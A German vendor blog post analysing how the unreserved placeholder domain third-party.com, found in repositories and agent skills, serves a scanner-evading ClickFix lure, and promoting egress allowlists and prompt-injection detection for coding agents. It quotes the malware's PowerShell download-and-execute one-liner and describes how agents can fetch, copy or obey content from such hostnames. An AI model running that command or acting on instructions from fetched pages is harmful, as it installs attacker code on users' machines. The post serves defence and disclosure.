← Zurück zu allen Beiträgen
Veröffentlicht am · von Renaud Deraison

Der Skill zeigte auf third-party.com, und third-party.com antwortete

Manifold Security hat third-party.com gefunden, einen Dokumentations-Platzhalter, der in 1.500 Dateien über 1.700 Repositories hinweg steckt, darunter Chromium, Vercel und Brave, und auch in öffentlichen Agent-Skills, und der seit Juni einen ClickFix-Köder ausliefert. Jemand hat die Domain 1996 registriert. Sie liefert allem, was nach Scanner aussieht, eine saubere Seite, und die eine Blocklist, die sie markiert hatte, gab zehn Tage später auf. Ein Hostname ist die eine Abhängigkeit, für die kein Lockfile eine Zeile hat, und Bromure Agentic Coding beantwortet sie mit einer Liste der Orte, die der Workspace aufrufen darf.

Eine Abhängigkeit, die Sie prüfen, hat eine Version, einen Maintainer und eine Zeile im Lockfile. Der Hostname in einer Beispiel-URL hat einen Eigentümer und sonst nichts, und Eigentümer ändern ihre Meinung.

Sie bitten den Agenten, ein Widget nachzuladen. Er öffnet einen Skill, den Sie vor Monaten installiert haben, liest das Liquid-Snippet, das der Skill als Referenzimplementierung anbietet, und das src des Snippets lautet https://third-party.com/widget.js.

Sie lesen das als Leerstelle zum Ausfüllen. Der Agent liest einen Hostnamen, der auflöst, einen Server, der antwortet, und einen Eigentümer, der entscheidet, wie die Antwort aussieht. Platzhalter ist eine Konvention unter Menschen, die Dokumentation für andere Menschen schreiben. Es ist keine Eigenschaft des Strings.

Die Domain in 1.700 Repositories

Am 23. September haben Ax Sharma und Cody Nash von Manifold Security eine Analyse zu third-party.com veröffentlicht, einer Domain, die die meisten Entwickler als Füllmaterial kennen. The Hacker News berichtete am Tag darauf. Seit mindestens Juni 2026 liefert die Domain einen ClickFix-Köder aus: Die Seite legt einen Befehl in Ihre Zwischenablage und bittet Sie dann, ihn irgendwo einzufügen, wo er ausgeführt wird.

Ein Satz aus dem Bericht trägt die ganze Prämisse: „Anders als example[.]com ist third-party[.]com nicht von der IANA reserviert. Jeder konnte sie registrieren, und jemand hat es getan.“ Jemand hat sie 1996 über Network Solutions registriert, und seitdem hat sie wie jede andere Domain den Besitzer gewechselt, mit dreißig Jahren sauberer Geschichte im Rücken.

Eine GitHub-Codesuche liefert mehr als 1.500 Dateien in mehr als 1.700 Repositories. Manifold nennt darunter Chromium, Sanity, Vercel, Brave und HackTricks. Und third-party.com ist nicht allein: The Hacker News zählt dreizehn weitere nicht reservierte Platzhalter, die inzwischen Scareware, gefälschte Sicherheitswarnungen und Investment-Betrug ausliefern, darunter yourdomain.com, yoursite.com, myapp.com, acme.com, company.com und vendor.com, verteilt über Hunderttausende GitHub-Dateien und Hunderte von Agent-Skills.

Ein Windows-Browser bekommt eine gefälschte Cloudflare-Verifizierungsseite. JavaScript schreibt über ein verstecktes Textarea und ein gekapertes copy-Ereignis in die Zwischenablage, und die Seite fordert Sie auf, Win+R, dann Strg+V, dann Enter zu drücken. Deobfuskiert enthält die Zwischenablage:

powershell "Write-Host(&{iex(irm('elxxvvx[.]xyz/f'))})2>$null"

irm holt ein Skript über HTTPS, iex führt es im Speicher aus, und 2>$null schluckt die Fehler. Die Seite hängt einen Täuschungstext an, „Security check, I'm not a robot, Verification ID“ und ein paar Ziffern, damit der Ausführen-Dialog etwas zeigt, das dem nahekommt, worum die Seite gebeten hat.

Sie liefert jedem, der prüft, eine saubere Seite

Die Nutzlast zählt weniger als die Auswahl. Der Server entscheidet pro Anfrage, wer sie zu sehen bekommt.

Manifold, wörtlich: „Fragen Sie diese Domain aus einem Rechenzentrumsbereich ab, von einem Linux-Crawler, von allem, was nicht das beabsichtigte Opfer ist, und sie gibt eine saubere Seite zurück.“ Ein Mac bekommt eine Absage: „macOS is not supported. This website requires a Windows PC to access.“ Der Köder feuert für genau den Besucher, für den der Betreiber ihn geschrieben hat.

Die Blocklist von IPFire markierte die Domain am 7. Juli 2026 und entfernte sie zehn Tage später, am 17. Juli, wieder. Wer auch immer diese Liste pflegt, konnte die bösartige Antwort nicht reproduzieren, weil der Server sie ihm nicht ausliefert. Drei Monate später ist die Domain online, weiterhin getarnt und weiterhin in 1.700 Repositories.

Reputations-Feeds haben hier nichts zu transportieren, und es gibt kein Advisory, das man abonnieren könnte. Niemand hat diese Domain kompromittiert. Jemand besitzt sie.

Zu den Trägern gehören die Skills Ihres Agenten

Manifold hat an den Orten gesucht, die Agenten lesen, und den String in drei öffentlichen Skills gefunden.

shopify-expert in jeffallan/claude-skills (rund 11.000 Sterne) verwendet ihn in einem Liquid-Snippet zum Nachladen eines Drittanbieter-Widgets. alova-server-usage in alovajs/skills verwendet ihn in einem OAuth-Gateway-Beispiel. Und dynamic-dashboard-builder von ClawHub verwendet ihn in einem Block mit der Überschrift „Wrong: Hardcoded endpoint, NEVER do this.“

Dieses warnende Beispiel ist eine lebende URL. Drei Tool-Aufrufe später, wenn das Modell den Code schreibt, muss es den Nicht-so-Rahmen zusammen mit dem String mitgetragen haben, und der String sieht in beiden Fällen gleich aus.

Ein Hostname aus der Dokumentation erreicht das Netz auf drei Wegen, und eine einzige Sitzung kann alle drei gehen:

  • Er holt ihn ab. Skills und MCP-Server-Dokumentationen sind voller Endpunkte, und ein Agent, der prüft, ob ein Snippet funktioniert, löst sie auf. Was zurückkommt, landet als ganz gewöhnliche Tool-Ausgabe im Kontext des Modells.
  • Er schreibt ihn. Das Snippet landet in Ihrem Quellcode, der Diff besteht das Review, und das src-Attribut, das niemand gelesen hat, geht an die Browser Ihrer Nutzer. Manifold dokumentiert, dass der Köder in Windows-Browsern feuert, und genau das benutzt ein guter Teil dieser Nutzer.
  • Er liest Anweisungen von dort. ClickFix spricht an, wer gerade liest. Die heutige Version zielt auf einen Menschen an einer Windows-Tastatur, und ein Linux-Agent bekommt die „not supported“-Seite. Der Server erkennt seine Aufrufer bereits und liefert drei verschiedene Antworten. Eine vierte Antwort, für Clients, die nach Agenten aussehen, kostet den Betreiber eine Zeile Konfiguration.
Ein String in der Doku und die vier Antworten dahinter1.500 Dateien, 1.700 ReposREADME.mdMCP-Server-Dokushopify-expert/SKILL.mddynamic-dashboard-builderder letzte nennt ihn ein GegenbeispielAgent liest,löst dann aufthird-party.com1996 registriert, nicht reservierterkennt jeden Aufruferder Eigentümer wählt die Antwortein Windows-Browserfalsche Cloudflare-Prüfung → Zwischenablageein Mac„macOS is not supported“ein Crawler, ein Rechenzentrum, ein Scannereine saubere Seite, jedes Malwas in der Zwischenablage steht, deobfuskiertpowershell "Write-Host(&{iex(irm('elxxvvx.xyz/f'))})2>$null"die Folge für die ReputationIPFire: 7. Juli markiert · 17. Juli entferntund warum keine Ihrer bestehenden Kontrollen dazu etwas sagtkeine Version zum Pinnen · kein Maintainer · kein Lockfile-Eintrag · keine SBOM-Zeile · kein CVE · kein Advisoryer wird genau einmal real: wenn etwas eine Verbindung dorthin öffnet
Derselbe Hostname, vier verschiedene Antworten. Jemand hat third-party.com 1996 registriert, und heute taucht die Domain in mehr als 1.500 Dateien auf: in READMEs, in MCP-Server-Dokumentationen und in Agent-Skills, darunter einer, der sie als Gegenbeispiel verwendet. Der Server wählt seine Antwort danach, wer gefragt hat. Ein Windows-Browser bekommt die gefälschte Cloudflare-Seite und eine Zwischenablage voller PowerShell. Ein Mac bekommt eine Absage. Ein Scanner oder ein Rechenzentrums-Crawler bekommt eine saubere Seite, weshalb IPFire die Domain am 7. Juli 2026 markierte und zehn Tage später wieder entfernte. Kein Manifest, kein Lockfile und keine SBOM hat eine Zeile für einen Hostnamen.

Ein Platzhalter ist eine Abhängigkeit, die niemand deklariert hat

Supply-Chain-Werkzeuge arbeiten mit Artefakten, die eine Identität haben. Ein Paket hat einen Namen, eine Version, ein Registry, ein Veröffentlichungsdatum und einen Maintainer, also können Sie es pinnen, es nach Alter sperren, seine Herkunft prüfen und es gegen die Vorwoche diffen. Ein Hostname in einem Kommentar hat genau eine dieser Eigenschaften: einen Eigentümer. Kein Werkzeug in Ihrer Pipeline löst ihn auf, protokolliert ihn oder sagt Ihnen, wenn er den Besitzer wechselt. Die Kontrolle, die einen Platzhalter erreicht, muss an Verbindungen ansetzen statt an Artefakten.

In einem Bromure-Workspace

In Bromure Agentic Coding ist der ausgehende Verkehr eines Workspace eine geordnete Regeltabelle. Die Regeln greifen von oben nach unten, die erste passende gewinnt, und eine segmentierte Steuerung Nicht zugeordneter Verkehr setzt die Voreinstellung auf Zulassen oder Verweigern. Jede Regel trägt eine Aktion, ein Protokoll (tcp, udp, web oder any), einen Host oder ein CIDR, Ports und für web-Regeln eine Liste von HTTP-Methoden. Hostnamen werden per Suffix verglichen, example.com deckt also die Apex-Domain und jede Subdomain ab. Die kanonische Form ist eine Regel pro Zeile, abgeschlossen mit default allow oder default deny:

allow tcp github.com:443
allow tcp registry.npmjs.org:443
allow web api.yourcompany.internal GET,POST
default deny

Ein Hostname, der nur als typografische Konvention existiert, steht nicht auf dieser Liste. Sie haben die Liste aus den Orten geschrieben, die die Arbeit erreicht, und Füllstrings kommen in dieser Menge nicht vor. Der Workspace muss nie lernen, dass third-party.com feindlich ist, was hilft, denn kein Feed sagt das. Er muss nur eines sehen: third-party.com ist nicht github.com.

Ihr Mac setzt das Regelwerk zweimal durch. Der virtuelle Netzwerk-Switch vergleicht jeden Fluss nach Ziel-IP und aus dem DNS mitgelesenem Hostnamen, über TCP und UDP hinweg, und der Host-Proxy vergleicht erneut nach TLS-Servernamen und, bei web-Regeln, nach einzelner HTTP-Methode. Der Switch leitet den Verkehr der VM auf Port 80 und 443 in den Proxy um, ohne dass eine Umgebungsvariable im Spiel ist und ohne dass der Gast etwas davon abschalten könnte. Regeländerungen erreichen laufende Sitzungen sofort, Sie können einen Workspace also enger ziehen, ohne einen Agenten mitten in einer Aufgabe neu zu starten.

Der Agent auf einem Laptopliest den Skill, löst den String aufGET https://third-party.com/widget.jsnichts steht zwischen dem Prozess und dem DNSdie Antwort landet im Kontextfensterwas der Eigentümer diesem Aufrufer liefern wollteund das Snippet behält den Hostnamen bis zum Reviewkein CVE, kein Advisory, keine Lockfile-Zeileund die Blocklist gab ihr Urteil schon im Juli zurückSie erfahren es, wenn der Browser eines Nutzers es tutkein Eintrag, dass der Hostname je kontaktiert wurdeDer Agent in einem Bromure-Workspaceliest denselben Skill, im Ubuntu-GastGET https://third-party.com/widget.js:80 und :443 in den Host-Proxy umgeleitetzweimal geprüft, auf dem MacSwitch: Ziel-IP + im DNS gesehener HostProxy: TLS-Servername + HTTP-Methodekeine Regel trifft zu → default denyein Fake außerhalb seines Bereichs: 451, VM pausiertSecurity Timeline, Firewall-Zeilethird-party.com:443 tcp — blockiert
Dieselbe Skill-Datei, zwei Maschinen. Auf einem Laptop löst der Agent den Platzhalter auf, weil nichts zwischen ihm und dem DNS steht, die abgerufene Seite landet im Kontext des Modells, und das Snippet geht mit unverändertem Hostnamen in Ihren Quellcode. In einem Bromure-Workspace prüft der Host die Verbindung zweimal, am virtuellen Switch nach Ziel-IP und aus dem DNS mitgelesenem Hostnamen und erneut am Proxy nach TLS-Servernamen, gegen die Liste der Orte, die die Arbeit erreichen muss. Nicht zugeordneter Verkehr auf Verweigern gestellt beendet es dort, und die Absage wird zu einer Firewall-Zeile, die den Hostnamen nennt, womit Sie den String in Ihrer eigenen Ausgabe finden, bevor er die Browser Ihrer Nutzer erreicht.

Die Firewall-Zeile erreicht Ihren Diff

Die Verbindung zu blockieren beendet den Abruf. Den String aus Ihrem Quellcode zu bekommen, braucht die Zeile.

Jedes Firewall-Urteil landet im Fenster Security Timeline als Firewall-Eintrag (die Beispielzeile des Handbuchs selbst lautet evil.example:443 tcp — blocked), in einer einzigen chronologischen Tabelle neben Credential-Tauschen, Supply-Chain-Entscheidungen, durchgesetzten Guardrails und Prompt-Injection-Treffern, farbcodiert und filterbar.

Sobald irgendetwas in der Sitzung zum ersten Mal einen Hostnamen auflöst, den Sie nicht gelistet haben, steht dieser Hostname mit Zeitstempel und dem Workspace, aus dem er kam, auf Ihrem Bildschirm. Sie gehen zurück zum Diff, finden das src-Attribut und reparieren es, bevor der Branch gemerged wird. Egress allein erreicht diese Hälfte der Geschichte nicht, denn im Schreiben-Fall stellt der Browser eines anderen Wochen später die gefährliche Anfrage.

Zwei weitere Kontrollen liegen im Pfad, und beide lohnen sich einzuschalten.

Die Prompt-Injection-Detektoren bewerten nicht vertrauenswürdige Inhalte auf ihrem Weg zum Modell, also Dateiinhalte, Webseiten und in tool_result-Blöcken transportierte Tool-Ausgaben, mit einem lokalen Prompt-Guard-Klassifikator, der auf dem Gerät läuft und nichts vom Mac wegschickt. ClickFix-Text ist eine Anweisung, die sich an den richtet, der sie liest, und genau auf diese Form wurde jener Klassifikator trainiert. Er läuft im Host-Proxy, wo ein Agent in der VM ihn nicht abschalten kann, und Sie entscheiden, was ein Treffer bewirkt: ihn protokollieren, pausieren und Ihnen den markierten Text zeigen, oder die Anfrage mit einem HTTP 451 ablehnen, das das Modell nie sieht.

Die Leitungsgrenze deckt den Fall ab, dass eine Dokumentation den Agenten dazu überredet, sich beim Platzhalter zu authentifizieren. Keine Datei, keine Umgebungsvariable und kein Prozess in der VM hält einen echten API-Schlüssel, ein echtes OAuth-Token, ein echtes AWS-Secret oder einen echten privaten SSH-Schlüssel. Der Gast bekommt eine strukturerhaltende Fälschung, und der Host setzt den echten Wert für genau den einen Host ein, für den dieses Credential ausgestellt wurde. Der Proxy durchsucht Header und Body jeder ausgehenden Anfrage mit einem Aho-Corasick-Automaten nach diesen Fälschungen. Eine, die irgendwohin unterwegs ist, wo sie nicht hingehört, bekommt HTTP 451, ohne dass ein einziges Byte weitergeleitet wird, pausiert die VM, schreibt eine rote Zeile Credential brokering und markiert den Workspace als kompromittiert, sodass Ihr nächster Start anbietet, dessen Platte und Home zu löschen und Ihre Tokens und Einstellungen zu behalten.

Reservieren Sie Ihre Platzhalter

example.com, example.org, example.net und die TLD .example sind von der IANA reserviert, und niemand kann sie kaufen. third-party.com, acme.com und yourcompany.com sind ganz gewöhnliche Domains. Greppen Sie Ihre Skills, Ihre MCP-Konfigurationen und Ihre READMEs nach denen, die niemand reserviert hat.

Schreiben Sie die Zielliste einmal

Ein Workspace braucht eine kurze, stabile Menge von Hosts: Ihre Forge, Ihr Registry, Ihren Modell-Endpunkt, Ihre API. Stellen Sie nicht zugeordneten Verkehr auf Verweigern, und die Hostnamen, an die niemand gedacht hat, Platzhalter eingeschlossen, sind erledigt, ohne dass jemand sie benennt.

Keine Allowlist, um einen Scanner ruhigzustellen

Manifolds eigene Empfehlung. Nehmen Sie eine Domain in eine Allowlist auf, damit eine Prüfung grün wird, und Sie haben versprochen, ihrem Eigentümer für immer zu vertrauen, ohne ihn je getroffen zu haben.

Lesen Sie die Firewall-Zeilen

Ein blockierter Hostname, den Sie nicht wiedererkennen, sagt Ihnen, welchen String der Agent aufgelesen hat, und zeigt auf die Stelle im Diff, an der Sie ihn finden.

Jemand hat eine Domain gekauft

Niemand hat hier ein Registry vergiftet, ein Maintainer-Konto übernommen, ein Paket getyposquattet, eine CI-Pipeline unterwandert oder ein Modell getäuscht. Jemand hat eine Domain gekauft, die zum Verkauf stand, so wie sie seit 1996 zum Verkauf stand, und hat sie auf einen Webserver zeigen lassen.

Die Branche hat auf Supply-Chain-Risiko geantwortet, indem sie Artefakten bessere Identitäten gegeben hat: Provenance-Attestierungen, Sigstore-Signaturen, SBOMs, gepinnte Digests. Diese Arbeit ist gut, und sie berührt das hier nicht, denn was in 1.700 Repositories steckt, ist ein String und kein Artefakt. Entwickler haben ihn jahrelang aus einem README ins nächste kopiert, und er existiert als reales Ding für die Dauer einer DNS-Auflösung und einer TCP-Verbindung.

Steuern Sie diesen Moment. Geben Sie dem Workspace eine Liste der Orte, an die die Arbeit geht, setzen Sie sie dort durch, wo der Agent nicht hinreicht, und lesen Sie die Zeilen nach Namen, die Sie nicht hineingeschrieben haben. Ein Platzhalter, der nicht auflöst, wird wieder zu dem harmlosen Stück Typografie, für das Sie ihn gehalten haben.